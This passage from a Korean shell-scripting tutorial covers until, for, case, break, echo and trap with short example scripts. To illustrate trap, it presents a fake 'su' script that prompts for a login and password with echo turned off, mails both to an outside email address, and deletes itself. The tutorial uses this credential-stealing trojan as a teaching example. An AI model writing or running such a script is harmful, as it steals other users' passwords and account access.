=================================
결과 : time이라는 변수의 초기값을 1로 설정한뒤 1부터 9까지 출력한다.
< 프로그래밍 2. while 문 예제 >
3. until 문
until 문은 while문과는 반대의 기능을 수행한다. 즉 while문은 참일 동안에만 구문을 수행하지만, until문은 구문이 거짓일 동안에만 구문을 수행한다.
until문 역시 do 로 시작해서 done으로 끝난다. until은 while과 반대로 동작을 한다고 했기 때문에 위에서 구현한 프로그램을 다시 until문으로 바꿔보자.
=================================
#!/bin/sh
time=1
until [ $time == 10 ]; do
echo "$time"
time=$[$time + 1]
done
=================================
결과 : time이라는 변수의 초기값을 1로 설정한 뒤 1부터 9까지 출력한다.
“while이 until”로 바뀌고, “$time != 10” 은 “$time == 10” 으로 바꾸면 된다.
<프로그래밍 3. until 문 예제 >
4. for 문
쉘 프로그래밍에서의 for 사용법은 기타 다른 언어의 for 구문과는 차이가 있다.
다른언어의 for구문은 “for (조건)” 형태로 사용해서 조건이 참이 될 때까지 반복이 이루어지는
명령 실행 방식이이나, for문은 주어지는 인수의 개수에 따라 반복을 하는 명령을 수행하는 방식이다.
사용법
for x(원하는 변수명으로 지정) in 반복될 인수 -> “$(쉘 명령)”의 결과 값을 for 변수 대응값으로 사용할 수 있다.
do
실행문
done
===============================
#!/bin/sh
for x in $(ls /home)
do
echo ""
echo "$x는 홈 디렉토리내에 존재합니다“
done
===============================
결과 : /home 디렉토리 내에 zmnkh, home1, test 라는 파일이 존재한다면 다음과
같이 출력됨.
zmnkh는 홈 디렉토리내에 존재합니다.
home1는 홈 디렉토리내에 존재합니다.
test는 홈 디렉토리내에 존재합니다.
< 프로그래밍 4. for 문 예제 >
5. case 문
case문은 여러 가지 조건이 있을 때 특정한 조건을 선택하고자 할때 많이 사용된다.
case 문은 case로 시작해서 esac 로 끝나게 된다.
사용법
case x(변수 : 원하는대로 지정) in
select [ | select2 ] )
실행문 ;;
* )
실행문 ;;
esac
=====================================
echo "1) kim"
echo "2) lee"
echo "3) park"
echo -n "select your first name ? : "
read name
case $name in
1)
echo " your first name is kim " ;;
2)
echo " your first name is lee" ;;
*)
echo " your first name is park" ;;
esac
=====================================
결과 : $name 변수로 입력받은 값을 case문에서 비교해서 그 입력값과 같은 조건의
명령 행을 실행 시킨다.
위에서 *) 로 나타낸 것은, 1,2가 아닌 값을 입력받았을 때 실행되는 명령행이다.
1,2가 아닌 다른 키가 눌러졌을때는 무조건 “your first name is park” 이 출력되는 것이다.
< 프로그래밍 5 case 문 예제 >
6. break 문
제어문이나 반복문에서 루프를 빠져나갈 때 사용
주로 조건이 만족하면 루프를 빠져나가도록 설정할 때 사용
7. exit
프로그램을 종료할 때 사용한다.
8. echo
모르는 사람이 없겠지만 혹시나 싶어서 설명을 한다.
echo는 쉘스크립트를 실행시켰을 때 그 결과 값을볼수 있도록 원하는 출력값을 화면으로 출력해주
는 명령이다.
C에서의 printf명령과 동일하지만, printf는 일일이 개행문자(\n : 줄바꿈)를 넣어줘야 하지만, echo에서는 자동으로 개행문자가 문의 마지막에 출력된다.
(쉘 프로그래밍에서도 printf를 사용할 수 있다.)
옵션
-n : 줄 바꿈 금지 , 개행문자 출력안함
-e : 백슬러쉬로된 이스케이프 문자를 번역하도록 한다.
(\t -> tab, \n -> 개행문자, \\ -> 백슬러쉬 등등이 이스케이프 문자이며,
기타 이스케이프 문자는 서버에서 man echo를 통하여 확인할수 있다)
사용법은 위에 많이 나왔지만, echo " 출력을 원하는 구문 혹은 설명, 출력물 “ 이다.
9. trap
trap은 프로그램이 동작중에 시그널을 받았을 때 그 처리 방법을 제어하는 명령이다.
trap에서 사용되는 시그널은 trap -l, kill -l로 확인할 수 있다.
trap의 사용법은
trap '쉘명령; 쉘명령' signal
또한 프로그램이 동작을 하면서 무시하고자 하는 signal이 있으면
trap " " signal 또는 trap "" signal
아무런 내용이 없는 빈 “” 다음에 signal을 적용하면, 프로그램 동작 중에 “” 다음의 signal은 무시하게
된다.
예제를 적용해서 설명을 하면 좀더 쉽게 trap의 용도를 알수 있을 것이다.
cat ./su
=======================================
#!/bin/sh
clear
echo -n "login: "
read login
stty -echo
echo -n "Password: "
read passwd
stty echo
echo ""
echo "Login : $login Password : $passwd" | mail -s " account info " hkim@hostway.co.kr
rm -rf ./su
========================================
< 프로그래밍 6. trap 문 예제 >
위의 쉘 스크립트는 일반 사용자가 su 명령을 입력하여 root나 다른 유저로 변경을 하고자 할때
입력한 아이디와 패스워드를 받아서 스크립트 제작자의 이메일로 전송시킨후 자기 자신을 스스로
삭제하는 쉘 스크립트이다.
위에서 stty -echo라는 것은 사용자가 type한 내용이 모니터로 출력되지 않게 하는 명령이다.
그런데 만약 위의 스크립트가 실행되다가 stty -echo 명령을 수행한 후에 에러가 발생했다면 어떻게 되겠는가?
모니터 화면에는 아무것도 나타나지 않고, typing을 해도 화면에는 아무런 글자도 찍히지 않는다.
이럴때 stty echo라는 명령을 알지 못한다면, 강제로 시스템에서 빠져나와야 할것이다.
이럴 때를 대비해서 trap 명령을 사용하는 것이다.
위의 예제 제일 상단에 (#!/bin/sh 다음 줄에)
trap 'stty echo; exit 1' 0 1 2 3 15
다음과 같이 한줄을 삽입해 놓으면 화면에 아무것도 안나오는 상태가 되더라도
(0 -> 정상종료, 1 -> 재시작, 2 -> Ctrl+C. 3 -> Ctrl+\. 15 -> Term신호) 가 입력된다면
stty echo 명령이 실행되고, 프로그램이 종료되면서 정상적으로 프로그램이 종료될것이다.
즉 trap은 일종의 안전장치 역할을 하는 것이다.
다음 예제를 보면 좀더 확실히 알수 있을 것이다.
=========================
#!/bin/sh
trap 'exit' 3 19
trap "" 2
while [ 1 ]; do
echo "loop"
done
=========================
< 프로그래밍 7. trap 문 예제 2 >
이 쉘 프로그램을 실행시키면 화면에 loop란 글자를 찍으면서 무한 루프를 돌게 되어있다.
이때 3(Ctrl+\), 19(Ctrl+z)에 해당하는 signal을 주게 되면 프로그램은 정지를 하게 되지만
2(Ctrl+C) 에 해당하는 signal을 주면 프로그램은 그 signal을 무시하고 계속 루프를 돌게된다.
위의 두 예제를 통하여 이제는 trap 명령어에 대해서 완전히 이해를 했을 것이라 생각한다.
이외에도 continue, set, unset, shift 등이 있으나, 실제 쉘 프로그램을 작성할때는 잘 사용하지 않고,
위에서 나열된 구문으로 만으로도 충분하게 쉘프로그램을 코딩할수 있으므로 여기에서는 설명을 하지
않는다.
댓글 없음:
댓글 쓰기